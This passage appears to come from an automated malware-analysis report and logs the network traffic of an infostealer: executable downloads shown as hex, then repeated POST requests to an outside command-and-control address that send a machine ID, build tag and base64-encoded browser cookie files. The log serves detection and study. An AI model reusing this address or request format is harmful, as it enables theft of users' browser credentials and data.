80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 14:41:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 14:41:25 GMTContent-Type: application/octet-streamContent-Length: 3226112Last-Modified: Tue, 12 Nov 2024 14:29:56 GMTConnection: keep-aliveETag: "67336664-313a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 40 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 31 00 00 04 00 00 67 3c 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 2f 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2f 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 79 61 63 62 6a 68 69 00 80 2a 00 00 b0 06 00 00 80 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 74 76 69 68 67 67 00 10 00 00 00 30 31 00 00 04 00 00 00 14 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 31 00 00 22 00 00 00 18 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 14:42:08 GMTContent-Type: application/octet-streamContent-Length: 1825280Last-Modified: Tue, 12 Nov 2024 14:29:48 GMTConnection: keep-aliveETag: "6733665c-1bda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 74 e1 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2b 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 77 78 68 68 6f 6c 70 00 40 1a 00 00 e0 4f 00 00 3c 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 70 68 72 73 6f 71 00 10 00 00 00 20 6a 00 00 06 00 00 00 b2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 b8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 14:42:33 GMTContent-Type: application/octet-streamContent-Length: 2748416Last-Modified: Tue, 12 Nov 2024 14:28:51 GMTConnection: keep-aliveETag: "67336623-29f000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 a1 f7 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 69 6b 6d 68 73 67 64 00 a0 29 00 00 a0 00 00 00 90 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 78 64 67 66 65 6f 75 00 20 00 00 00 40 2a 00 00 04 00 00 00 ca 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 ce 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 42 43 41 37 36 43 38 30 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="hwid"D4BCA76C80534228319403------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="build"mars------EHJJKFCBGIDGHIECGCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="message"browsers------BGDBKKFHIEGDHJKECAAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 2d 2d 0d 0a Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="message"plugins------JJECGHJDBFIJJJKEHCBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 2d 2d 0d 0a Data Ascii: ------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="message"fplugins------IJKFCFHJDBKKFHIEHIDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHDHost: 185.215.113.206Content-Length: 5503Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AKKECAFBFHJDGDHIEHJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 